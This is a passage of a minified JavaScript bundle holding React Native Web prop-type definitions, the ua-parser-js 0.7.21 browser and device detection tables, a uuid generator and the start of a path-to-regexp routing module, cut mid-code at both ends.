us:p,borderTopStartRadius:p,borderStyle:h,borderBottomStyle:h,borderEndStyle:h,borderLeftStyle:h,borderRightStyle:h,borderStartStyle:h,borderTopStyle:h},g={cursor:Object(l.oneOfType)([l.string,Object(l.oneOf)(["auto","default","none","context-menu","help","pointer","progress","wait","cell","crosshair","text","vertical-text","alias","copy","move","no-drop","not-allowed","e-resize","n-resize","ne-resize","nw-resize","s-resize","se-resize","sw-resize","w-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","col-resize","row-resize","all-scroll","zoom-in","zoom-out","grab","grabbing "])]),touchAction:Object(l.oneOf)(["auto","inherit","manipulation","none","pan-down","pan-left","pan-right","pan-up","pan-x","pan-y","pinch-zoom"]),userSelect:Object(l.oneOf)(["auto","text","none","contain","all"]),willChange:l.string},v=Object(l.oneOf)(["auto","hidden","scroll","visible"]),y=Object(l.oneOf)(["hidden","visible"]),b=Object(l.oneOfType)([l.number,l.string]),w={alignContent:Object(l.oneOf)(["center","flex-end","flex-start","space-around","space-between","stretch"]),alignItems:Object(l.oneOf)(["baseline","center","flex-end","flex-start","stretch"]),alignSelf:Object(l.oneOf)(["auto","baseline","center","flex-end","flex-start","stretch"]),backfaceVisibility:y,borderWidth:b,borderBottomWidth:b,borderEndWidth:b,borderLeftWidth:b,borderRightWidth:b,borderStartWidth:b,borderTopWidth:b,bottom:b,boxSizing:l.string,direction:Object(l.oneOf)(["inherit","ltr","rtl"]),display:l.string,end:b,flex:l.number,flexBasis:b,flexDirection:Object(l.oneOf)(["column","column-reverse","row","row-reverse"]),flexGrow:l.number,flexShrink:l.number,flexWrap:Object(l.oneOf)(["nowrap","wrap","wrap-reverse"]),height:b,justifyContent:Object(l.oneOf)(["center","flex-end","flex-start","space-around","space-between","space-evenly"]),left:b,margin:b,marginBottom:b,marginHorizontal:b,marginEnd:b,marginLeft:b,marginRight:b,marginStart:b,marginTop:b,marginVertical:b,maxHeight:b,maxWidth:b,minHeight:b,minWidth:b,order:l.number,overflow:v,overflowX:v,overflowY:v,padding:b,paddingBottom:b,paddingHorizontal:b,paddingEnd:b,paddingLeft:b,paddingRight:b,paddingStart:b,paddingTop:b,paddingVertical:b,position:Object(l.oneOf)(["absolute","fixed","relative","static","sticky"]),right:b,start:b,top:b,visibility:y,width:b,zIndex:l.number,aspectRatio:l.number,gridAutoColumns:l.string,gridAutoFlow:l.string,gridAutoRows:l.string,gridColumnEnd:l.string,gridColumnGap:l.string,gridColumnStart:l.string,gridRowEnd:l.string,gridRowGap:l.string,gridRowStart:l.string,gridTemplateColumns:l.string,gridTemplateRows:l.string,gridTemplateAreas:l.string},E=Object(l.oneOfType)([l.number,l.string]),x={shadowColor:d.a,shadowOffset:Object(l.shape)({width:E,height:E}),shadowOpacity:l.number,shadowRadius:E,shadowSpread:E},S=Object(l.oneOfType)([l.number,l.string]),T={perspective:Object(l.oneOfType)([l.number,l.string]),perspectiveOrigin:l.string,transform:Object(l.arrayOf)(Object(l.oneOfType)([Object(l.shape)({perspective:S}),Object(l.shape)({rotate:l.string}),Object(l.shape)({rotateX:l.string}),Object(l.shape)({rotateY:l.string}),Object(l.shape)({rotateZ:l.string}),Object(l.shape)({scale:l.number}),Object(l.shape)({scaleX:l.number}),Object(l.shape)({scaleY:l.number}),Object(l.shape)({scaleZ:l.number}),Object(l.shape)({scale3d:l.string}),Object(l.shape)({skewX:l.string}),Object(l.shape)({skewY:l.string}),Object(l.shape)({translateX:S}),Object(l.shape)({translateY:S}),Object(l.shape)({translateZ:S}),Object(l.shape)({translate3d:l.string})])),transformOrigin:l.string,transformStyle:Object(l.oneOf)(["flat","preserve-3d"])};function O(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var k=Object(l.oneOfType)([l.string,l.number]),_=Object(l.oneOf)(["auto","contain","none"]),P=a(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},r=Object.keys(n);"function"===typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),r.forEach((function(t){O(e,t,n[t])}))}return e}({},f,m,g,w,x,T,{backgroundColor:d.a,opacity:l.number,elevation:l.number,backdropFilter:l.string,backgroundAttachment:l.string,backgroundBlendMode:l.string,backgroundClip:l.string,backgroundImage:l.string,backgroundOrigin:Object(l.oneOf)(["border-box","content-box","padding-box"]),backgroundPosition:l.string,backgroundRepeat:l.string,backgroundSize:l.string,boxShadow:l.string,clip:l.string,filter:l.string,outlineColor:d.a,outlineOffset:k,outlineStyle:l.string,outlineWidth:k,overscrollBehavior:_,overscrollBehaviorX:_,overscrollBehaviorY:_,scrollbarWidth:Object(l.oneOf)(["auto","none"]),scrollSnapAlign:l.string,scrollSnapType:l.string,WebkitMaskImage:l.string,WebkitOverflowScrolling:Object(l.oneOf)(["auto","touch"])})),R={accessibilityComponentType:l.string,accessibilityLabel:l.string,accessibilityLiveRegion:Object(l.oneOf)(["assertive","none","polite"]),accessibilityRole:l.string,accessibilityStates:Object(l.arrayOf)(Object(l.oneOf)(["disabled","selected","busy","checked","expanded","grabbed","invalid","pressed"])),accessibilityTraits:Object(l.oneOfType)([l.array,l.string]),accessible:l.bool,children:l.any,hitSlop:r.a,importantForAccessibility:Object(l.oneOf)(["auto","no","no-hide-descendants","yes"]),nativeID:l.string,onBlur:l.func,onClick:l.func,onClickCapture:l.func,onFocus:l.func,onLayout:l.func,onMoveShouldSetResponder:l.func,onMoveShouldSetResponderCapture:l.func,onResponderGrant:l.func,onResponderMove:l.func,onResponderReject:l.func,onResponderRelease:l.func,onResponderTerminate:l.func,onResponderTerminationRequest:l.func,onStartShouldSetResponder:l.func,onStartShouldSetResponderCapture:l.func,onTouchCancel:l.func,onTouchCancelCapture:l.func,onTouchEnd:l.func,onTouchEndCapture:l.func,onTouchMove:l.func,onTouchMoveCapture:l.func,onTouchStart:l.func,onTouchStartCapture:l.func,pointerEvents:Object(l.oneOf)(["auto","box-none","box-only","none"]),style:P,testID:l.string,onContextMenu:l.func,itemID:l.string,itemRef:l.string,itemProp:l.string,itemScope:l.string,itemType:l.string,accessibilityViewIsModal:l.bool,collapsable:l.bool,needsOffscreenAlphaCompositing:l.bool,onAccessibilityTap:l.func,onMagicTap:l.func,removeClippedSubviews:l.bool,renderToHardwareTextureAndroid:l.bool,shouldRasterizeIOS:l.bool,tvParallaxProperties:l.object};t.a=R},function(e,t,n){var r;!function(o,i){"use strict";var a="model",l="name",u="type",s="vendor",c="version",f="mobile",d="tablet",p="smarttv",h={extend:function(e,t){var n={};for(var r in e)t[r]&&t[r].length%2===0?n[r]=t[r].concat(e[r]):n[r]=e[r];return n},has:function(e,t){return"string"===typeof e&&-1!==t.toLowerCase().indexOf(e.toLowerCase())},lowerize:function(e){return e.toLowerCase()},major:function(e){return"string"===typeof e?e.replace(/[^\d\.]/g,"").split(".")[0]:void 0},trim:function(e){return e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")}},m={rgx:function(e,t){for(var n,r,o,i,a,l,u=0;u<t.length&&!a;){var s=t[u],c=t[u+1];for(n=r=0;n<s.length&&!a;)if(a=s[n++].exec(e))for(o=0;o<c.length;o++)l=a[++r],"object"===typeof(i=c[o])&&i.length>0?2==i.length?"function"==typeof i[1]?this[i[0]]=i[1].call(this,l):this[i[0]]=i[1]:3==i.length?"function"!==typeof i[1]||i[1].exec&&i[1].test?this[i[0]]=l?l.replace(i[1],i[2]):void 0:this[i[0]]=l?i[1].call(this,l,i[2]):void 0:4==i.length&&(this[i[0]]=l?i[3].call(this,l.replace(i[1],i[2])):void 0):this[i]=l||void 0;u+=2}},str:function(e,t){for(var n in t)if("object"===typeof t[n]&&t[n].length>0){for(var r=0;r<t[n].length;r++)if(h.has(t[n][r],e))return"?"===n?void 0:n}else if(h.has(t[n],e))return"?"===n?void 0:n;return e}},g={browser:{oldsafari:{version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{amazon:{model:{"Fire Phone":["SD","KF"]}},sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",10:["NT 6.4","NT 10.0"],RT:"ARM"}}}},v={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[l,c],[/(opios)[\/\s]+([\w\.]+)/i],[[l,"Opera Mini"],c],[/\s(opr)\/([\w\.]+)/i],[[l,"Opera"],c],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]*)/i,/(avant\s|iemobile|slim)(?:browser)?[\/\s]?([\w\.]*)/i,/(bidubrowser|baidubrowser)[\/\s]?([\w\.]+)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]*)/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi|iridium|phantomjs|bowser|quark|qupzilla|falkon)\/([\w\.-]+)/i],[l,c],[/(konqueror)\/([\w\.]+)/i],[[l,"Konqueror"],c],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[l,"IE"],c],[/(edge|edgios|edga|edg)\/((\d+)?[\w\.]+)/i],[[l,"Edge"],c],[/(yabrowser)\/([\w\.]+)/i],[[l,"Yandex"],c],[/(Avast)\/([\w\.]+)/i],[[l,"Avast Secure Browser"],c],[/(AVG)\/([\w\.]+)/i],[[l,"AVG Secure Browser"],c],[/(puffin)\/([\w\.]+)/i],[[l,"Puffin"],c],[/(focus)\/([\w\.]+)/i],[[l,"Firefox Focus"],c],[/(opt)\/([\w\.]+)/i],[[l,"Opera Touch"],c],[/((?:[\s\/])uc?\s?browser|(?:juc.+)ucweb)[\/\s]?([\w\.]+)/i],[[l,"UCBrowser"],c],[/(comodo_dragon)\/([\w\.]+)/i],[[l,/_/g," "],c],[/(windowswechat qbcore)\/([\w\.]+)/i],[[l,"WeChat(Win) Desktop"],c],[/(micromessenger)\/([\w\.]+)/i],[[l,"WeChat"],c],[/(brave)\/([\w\.]+)/i],[[l,"Brave"],c],[/(qqbrowserlite)\/([\w\.]+)/i],[l,c],[/(QQ)\/([\d\.]+)/i],[l,c],[/m?(qqbrowser)[\/\s]?([\w\.]+)/i],[l,c],[/(baiduboxapp)[\/\s]?([\w\.]+)/i],[l,c],[/(2345Explorer)[\/\s]?([\w\.]+)/i],[l,c],[/(MetaSr)[\/\s]?([\w\.]+)/i],[l],[/(LBBROWSER)/i],[l],[/xiaomi\/miuibrowser\/([\w\.]+)/i],[c,[l,"MIUI Browser"]],[/;fbav\/([\w\.]+);/i],[c,[l,"Facebook"]],[/safari\s(line)\/([\w\.]+)/i,/android.+(line)\/([\w\.]+)\/iab/i],[l,c],[/headlesschrome(?:\/([\w\.]+)|\s)/i],[c,[l,"Chrome Headless"]],[/\swv\).+(chrome)\/([\w\.]+)/i],[[l,/(.+)/,"$1 WebView"],c],[/((?:oculus|samsung)browser)\/([\w\.]+)/i],[[l,/(.+(?:g|us))(.+)/,"$1 $2"],c],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)*/i],[c,[l,"Android Browser"]],[/(sailfishbrowser)\/([\w\.]+)/i],[[l,"Sailfish Browser"],c],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i],[l,c],[/(dolfin)\/([\w\.]+)/i],[[l,"Dolphin"],c],[/(qihu|qhbrowser|qihoobrowser|360browser)/i],[[l,"360 Browser"]],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[l,"Chrome"],c],[/(coast)\/([\w\.]+)/i],[[l,"Opera Coast"],c],[/fxios\/([\w\.-]+)/i],[c,[l,"Firefox"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[c,[l,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[c,l],[/webkit.+?(gsa)\/([\w\.]+).+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[[l,"GSA"],c],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[l,[c,m.str,g.browser.oldsafari.version]],[/(webkit|khtml)\/([\w\.]+)/i],[l,c],[/(navigator|netscape)\/([\w\.-]+)/i],[[l,"Netscape"],c],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix|palemoon|basilisk|waterfox)\/([\w\.-]+)$/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|sleipnir)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]*)/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[l,c]],cpu:[[/(?:(amd|x(?:(?:86|64)[_-])?|wow|win)64)[;\)]/i],[["architecture","amd64"]],[/(ia32(?=;))/i],[["architecture",h.lowerize]],[/((?:i[346]|x)86)[;\)]/i],[["architecture","ia32"]],[/windows\s(ce|mobile);\sppc;/i],[["architecture","arm"]],[/((?:ppc|powerpc)(?:64)?)(?:\smac|;|\))/i],[["architecture",/ower/,"",h.lowerize]],[/(sun4\w)[;\)]/i],[["architecture","sparc"]],[/((?:avr32|ia64(?=;))|68k(?=\))|arm(?:64|(?=v\d+[;l]))|(?=atmel\s)avr|(?:irix|mips|sparc)(?:64)?(?=;)|pa-risc)/i],[["architecture",h.lowerize]]],device:[[/\((ipad|playbook);[\w\s\),;-]+(rim|apple)/i],[a,s,[u,d]],[/applecoremedia\/[\w\.]+ \((ipad)/],[a,[s,"Apple"],[u,d]],[/(apple\s{0,1}tv)/i],[[a,"Apple TV"],[s,"Apple"],[u,p]],[/(archos)\s(gamepad2?)/i,/(hp).+(touchpad)/i,/(hp).+(tablet)/i,/(kindle)\/([\w\.]+)/i,/\s(nook)[\w\s]+build\/(\w+)/i,/(dell)\s(strea[kpr\s\d]*[\dko])/i],[s,a,[u,d]],[/(kf[A-z]+)\sbuild\/.+silk\//i],[a,[s,"Amazon"],[u,d]],[/(sd|kf)[0349hijorstuw]+\sbuild\/.+silk\//i],[[a,m.str,g.device.amazon.model],[s,"Amazon"],[u,f]],[/android.+aft([bms])\sbuild/i],[a,[s,"Amazon"],[u,p]],[/\((ip[honed|\s\w*]+);.+(apple)/i],[a,s,[u,f]],[/\((ip[honed|\s\w*]+);/i],[a,[s,"Apple"],[u,f]],[/(blackberry)[\s-]?(\w+)/i,/(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|meizu|motorola|polytron)[\s_-]?([\w-]*)/i,/(hp)\s([\w\s]+\w)/i,/(asus)-?(\w+)/i],[s,a,[u,f]],[/\(bb10;\s(\w+)/i],[a,[s,"BlackBerry"],[u,f]],[/android.+(transfo[prime\s]{4,10}\s\w+|eeepc|slider\s\w+|nexus 7|padfone|p00c)/i],[a,[s,"Asus"],[u,d]],[/(sony)\s(tablet\s[ps])\sbuild\//i,/(sony)?(?:sgp.+)\sbuild\//i],[[s,"Sony"],[a,"Xperia Tablet"],[u,d]],[/android.+\s([c-g]\d{4}|so[-l]\w+)(?=\sbuild\/|\).+chrome\/(?![1-6]{0,1}\d\.))/i],[a,[s,"Sony"],[u,f]],[/\s(ouya)\s/i,/(nintendo)\s([wids3u]+)/i],[s,a,[u,"console"]],[/android.+;\s(shield)\sbuild/i],[a,[s,"Nvidia"],[u,"console"]],[/(playstation\s[34portablevi]+)/i],[a,[s,"Sony"],[u,"console"]],[/(sprint\s(\w+))/i],[[s,m.str,g.device.sprint.vendor],[a,m.str,g.device.sprint.model],[u,f]],[/(htc)[;_\s-]+([\w\s]+(?=\)|\sbuild)|\w+)/i,/(zte)-(\w*)/i,/(alcatel|geeksphone|nexian|panasonic|(?=;\s)sony)[_\s-]?([\w-]*)/i],[s,[a,/_/g," "],[u,f]],[/(nexus\s9)/i],[a,[s,"HTC"],[u,d]],[/d\/huawei([\w\s-]+)[;\)]/i,/(nexus\s6p|vog-l29|ane-lx1|eml-l29)/i],[a,[s,"Huawei"],[u,f]],[/android.+(bah2?-a?[lw]\d{2})/i],[a,[s,"Huawei"],[u,d]],[/(microsoft);\s(lumia[\s\w]+)/i],[s,a,[u,f]],[/[\s\(;](xbox(?:\sone)?)[\s\);]/i],[a,[s,"Microsoft"],[u,"console"]],[/(kin\.[onetw]{3})/i],[[a,/\./g," "],[s,"Microsoft"],[u,f]],[/\s(milestone|droid(?:[2-4x]|\s(?:bionic|x2|pro|razr))?:?(\s4g)?)[\w\s]+build\//i,/mot[\s-]?(\w*)/i,/(XT\d{3,4}) build\//i,/(nexus\s6)/i],[a,[s,"Motorola"],[u,f]],[/android.+\s(mz60\d|xoom[\s2]{0,2})\sbuild\//i],[a,[s,"Motorola"],[u,d]],[/hbbtv\/\d+\.\d+\.\d+\s+\([\w\s]*;\s*(\w[^;]*);([^;]*)/i],[[s,h.trim],[a,h.trim],[u,p]],[/hbbtv.+maple;(\d+)/i],[[a,/^/,"SmartTV"],[s,"Samsung"],[u,p]],[/\(dtv[\);].+(aquos)/i],[a,[s,"Sharp"],[u,p]],[/android.+((sch-i[89]0\d|shw-m380s|gt-p\d{4}|gt-n\d+|sgh-t8[56]9|nexus 10))/i,/((SM-T\w+))/i],[[s,"Samsung"],a,[u,d]],[/smart-tv.+(samsung)/i],[s,[u,p],a],[/((s[cgp]h-\w+|gt-\w+|galaxy\snexus|sm-\w[\w\d]+))/i,/(sam[sung]*)[\s-]*(\w+-?[\w-]*)/i,/sec-((sgh\w+))/i],[[s,"Samsung"],a,[u,f]],[/sie-(\w*)/i],[a,[s,"Siemens"],[u,f]],[/(maemo|nokia).*(n900|lumia\s\d+)/i,/(nokia)[\s_-]?([\w-]*)/i],[[s,"Nokia"],a,[u,f]],[/android[x\d\.\s;]+\s([ab][1-7]\-?[0178a]\d\d?)/i],[a,[s,"Acer"],[u,d]],[/android.+([vl]k\-?\d{3})\s+build/i],[a,[s,"LG"],[u,d]],[/android\s3\.[\s\w;-]{10}(lg?)-([06cv9]{3,4})/i],[[s,"LG"],a,[u,d]],[/(lg) netcast\.tv/i],[s,a,[u,p]],[/(nexus\s[45])/i,/lg[e;\s\/-]+(\w*)/i,/android.+lg(\-?[\d\w]+)\s+build/i],[a,[s,"LG"],[u,f]],[/(lenovo)\s?(s(?:5000|6000)(?:[\w-]+)|tab(?:[\s\w]+))/i],[s,a,[u,d]],[/android.+(ideatab[a-z0-9\-\s]+)/i],[a,[s,"Lenovo"],[u,d]],[/(lenovo)[_\s-]?([\w-]+)/i],[s,a,[u,f]],[/linux;.+((jolla));/i],[s,a,[u,f]],[/((pebble))app\/[\d\.]+\s/i],[s,a,[u,"wearable"]],[/android.+;\s(oppo)\s?([\w\s]+)\sbuild/i],[s,a,[u,f]],[/crkey/i],[[a,"Chromecast"],[s,"Google"],[u,p]],[/android.+;\s(glass)\s\d/i],[a,[s,"Google"],[u,"wearable"]],[/android.+;\s(pixel c)[\s)]/i],[a,[s,"Google"],[u,d]],[/android.+;\s(pixel( [23])?( xl)?)[\s)]/i],[a,[s,"Google"],[u,f]],[/android.+;\s(\w+)\s+build\/hm\1/i,/android.+(hm[\s\-_]*note?[\s_]*(?:\d\w)?)\s+build/i,/android.+(mi[\s\-_]*(?:a\d|one|one[\s_]plus|note lte)?[\s_]*(?:\d?\w?)[\s_]*(?:plus)?)\s+build/i,/android.+(redmi[\s\-_]*(?:note)?(?:[\s_]*[\w\s]+))\s+build/i],[[a,/_/g," "],[s,"Xiaomi"],[u,f]],[/android.+(mi[\s\-_]*(?:pad)(?:[\s_]*[\w\s]+))\s+build/i],[[a,/_/g," "],[s,"Xiaomi"],[u,d]],[/android.+;\s(m[1-5]\snote)\sbuild/i],[a,[s,"Meizu"],[u,f]],[/(mz)-([\w-]{2,})/i],[[s,"Meizu"],a,[u,f]],[/android.+a000(1)\s+build/i,/android.+oneplus\s(a\d{4})[\s)]/i],[a,[s,"OnePlus"],[u,f]],[/android.+[;\/]\s*(RCT[\d\w]+)\s+build/i],[a,[s,"RCA"],[u,d]],[/android.+[;\/\s]+(Venue[\d\s]{2,7})\s+build/i],[a,[s,"Dell"],[u,d]],[/android.+[;\/]\s*(Q[T|M][\d\w]+)\s+build/i],[a,[s,"Verizon"],[u,d]],[/android.+[;\/]\s+(Barnes[&\s]+Noble\s+|BN[RT])(V?.*)\s+build/i],[[s,"Barnes & Noble"],a,[u,d]],[/android.+[;\/]\s+(TM\d{3}.*\b)\s+build/i],[a,[s,"NuVision"],[u,d]],[/android.+;\s(k88)\sbuild/i],[a,[s,"ZTE"],[u,d]],[/android.+[;\/]\s*(gen\d{3})\s+build.*49h/i],[a,[s,"Swiss"],[u,f]],[/android.+[;\/]\s*(zur\d{3})\s+build/i],[a,[s,"Swiss"],[u,d]],[/android.+[;\/]\s*((Zeki)?TB.*\b)\s+build/i],[a,[s,"Zeki"],[u,d]],[/(android).+[;\/]\s+([YR]\d{2})\s+build/i,/android.+[;\/]\s+(Dragon[\-\s]+Touch\s+|DT)(\w{5})\sbuild/i],[[s,"Dragon Touch"],a,[u,d]],[/android.+[;\/]\s*(NS-?\w{0,9})\sbuild/i],[a,[s,"Insignia"],[u,d]],[/android.+[;\/]\s*((NX|Next)-?\w{0,9})\s+build/i],[a,[s,"NextBook"],[u,d]],[/android.+[;\/]\s*(Xtreme\_)?(V(1[045]|2[015]|30|40|60|7[05]|90))\s+build/i],[[s,"Voice"],a,[u,f]],[/android.+[;\/]\s*(LVTEL\-)?(V1[12])\s+build/i],[[s,"LvTel"],a,[u,f]],[/android.+;\s(PH-1)\s/i],[a,[s,"Essential"],[u,f]],[/android.+[;\/]\s*(V(100MD|700NA|7011|917G).*\b)\s+build/i],[a,[s,"Envizen"],[u,d]],[/android.+[;\/]\s*(Le[\s\-]+Pan)[\s\-]+(\w{1,9})\s+build/i],[s,a,[u,d]],[/android.+[;\/]\s*(Trio[\s\-]*.*)\s+build/i],[a,[s,"MachSpeed"],[u,d]],[/android.+[;\/]\s*(Trinity)[\-\s]*(T\d{3})\s+build/i],[s,a,[u,d]],[/android.+[;\/]\s*TU_(1491)\s+build/i],[a,[s,"Rotor"],[u,d]],[/android.+(KS(.+))\s+build/i],[a,[s,"Amazon"],[u,d]],[/android.+(Gigaset)[\s\-]+(Q\w{1,9})\s+build/i],[s,a,[u,d]],[/\s(tablet|tab)[;\/]/i,/\s(mobile)(?:[;\/]|\ssafari)/i],[[u,h.lowerize],s,a],[/[\s\/\(](smart-?tv)[;\)]/i],[[u,p]],[/(android[\w\.\s\-]{0,9});.+build/i],[a,[s,"Generic"]]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[c,[l,"EdgeHTML"]],[/webkit\/537\.36.+chrome\/(?!27)([\w\.]+)/i],[c,[l,"Blink"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m|goanna)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[l,c],[/rv\:([\w\.]{1,9}).+(gecko)/i],[c,l]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[l,c],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*)[\s\/]?([\d\.\s\w]*)/i,/(windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[l,[c,m.str,g.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[l,"Windows"],[c,m.str,g.os.windows.version]],[/\((bb)(10);/i],[[l,"BlackBerry"],c],[/(blackberry)\w*\/?([\w\.]*)/i,/(tizen|kaios)[\/\s]([\w\.]+)/i,/(android|webos|palm\sos|qnx|bada|rim\stablet\sos|meego|sailfish|contiki)[\/\s-]?([\w\.]*)/i],[l,c],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]*)/i],[[l,"Symbian"],c],[/\((series40);/i],[l],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[l,"Firefox OS"],c],[/(nintendo|playstation)\s([wids34portablevu]+)/i,/(mint)[\/\s\(]?(\w*)/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|suse|opensuse|gentoo|(?=\s)arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?(?!chrom)([\w\.-]*)/i,/(hurd|linux)\s?([\w\.]*)/i,/(gnu)\s?([\w\.]*)/i],[l,c],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[l,"Chromium OS"],c],[/(sunos)\s?([\w\.\d]*)/i],[[l,"Solaris"],c],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]*)/i],[l,c],[/(haiku)\s(\w+)/i],[l,c],[/cfnetwork\/.+darwin/i,/ip[honead]{2,4}(?:.*os\s([\w]+)\slike\smac|;\sopera)/i],[[c,/_/g,"."],[l,"iOS"]],[/(mac\sos\sx)\s?([\w\s\.]*)/i,/(macintosh|mac(?=_powerpc)\s)/i],[[l,"Mac OS"],[c,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]*)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.])*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms|fuchsia)/i,/(unix)\s?([\w\.]*)/i],[l,c]]},y=function(e,t){if("object"===typeof e&&(t=e,e=void 0),!(this instanceof y))return new y(e,t).getResult();var n=e||(o&&o.navigator&&o.navigator.userAgent?o.navigator.userAgent:""),r=t?h.extend(v,t):v;return this.getBrowser=function(){var e={name:void 0,version:void 0};return m.rgx.call(e,n,r.browser),e.major=h.major(e.version),e},this.getCPU=function(){var e={architecture:void 0};return m.rgx.call(e,n,r.cpu),e},this.getDevice=function(){var e={vendor:void 0,model:void 0,type:void 0};return m.rgx.call(e,n,r.device),e},this.getEngine=function(){var e={name:void 0,version:void 0};return m.rgx.call(e,n,r.engine),e},this.getOS=function(){var e={name:void 0,version:void 0};return m.rgx.call(e,n,r.os),e},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS(),device:this.getDevice(),cpu:this.getCPU()}},this.getUA=function(){return n},this.setUA=function(e){return n=e,this},this};y.VERSION="0.7.21",y.BROWSER={NAME:l,MAJOR:"major",VERSION:c},y.CPU={ARCHITECTURE:"architecture"},y.DEVICE={MODEL:a,VENDOR:s,TYPE:u,CONSOLE:"console",MOBILE:f,SMARTTV:p,TABLET:d,WEARABLE:"wearable",EMBEDDED:"embedded"},y.ENGINE={NAME:l,VERSION:c},y.OS={NAME:l,VERSION:c},"undefined"!==typeof t?("undefined"!==typeof e&&e.exports&&(t=e.exports=y),t.UAParser=y):void 0===(r=function(){return y}.call(t,n,t,e))||(e.exports=r);var b=o&&(o.jQuery||o.Zepto);if(b&&!b.ua){var w=new y;b.ua=w.getResult(),b.ua.get=function(){return w.getUA()},b.ua.set=function(e){w.setUA(e);var t=w.getResult();for(var n in t)b.ua[n]=t[n]}}}("object"===typeof window?window:this)},function(e,t,n){var r=n(91),o=n(92);e.exports=function(e,t,n){var i=t&&n||0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var a=(e=e||{}).random||(e.rng||r)();if(a[6]=15&a[6]|64,a[8]=63&a[8]|128,t)for(var l=0;l<16;++l)t[i+l]=a[l];return t||o(a)}},function(e,t){e.exports=function(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e.__proto__=t}},function(e,t,n){var r=n(102);e.exports=p,e.exports.parse=i,e.exports.compile=function(e,t){return l(i(e,t),t)},e.exports.tokensToFunction=l,e.exports.tokensToRegExp=d;var o=new RegExp(["(\\\\.)","([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))"].join("|"),"g");function i(e,t){for(var n,r=[],i=0,a=0,l="",c=t&&t.delimiter||"/";null!=(n=o.exec(e));){var f=n[0],d=n[1],p=n.index;if(l+=e.slice(a,p),a=p+f.length,d)l+=d[1];else{var h=e[a],m=n[2],g=n[3],v=n[4],y=n[5],b=n[6],w=n[7];l&&(r.push(l),l="");var E=null!=m&&null!=h&&h!==m,x="+"===b||"*"===b,S="?"===b||"*"===b,T=n[2]||c,O=v||y;r.push({name:g||i++,prefix:m||"",delimiter:T,optional:S,repeat:x,partial:E,asterisk:!!w,pattern:O?s(O):w?".*":"[^"+u(T)+"]+?"})}}return a<e.length&&(l+=e.substr(a)),l&&r.push(l),r}function a(e){return encodeURI(e).replace(/[\/?#]/g,(function(e){return"%"+e.charCodeAt(0).toString(16).toUpperCase()}))}function l(e,t){for(var n=new Array(e.length),o=0;o<e.length;o++)"object"===typeof e[o]&&(n[o]=new RegExp("^(?:"+e[o].pattern+")$",f(t)));return function(t,o){for(var i="",l=t||{},u=(o||{}).pretty?a:encodeURIComponent,s=0;s<e.length;s++){var c=e[s];if("string"!==typeof c){var 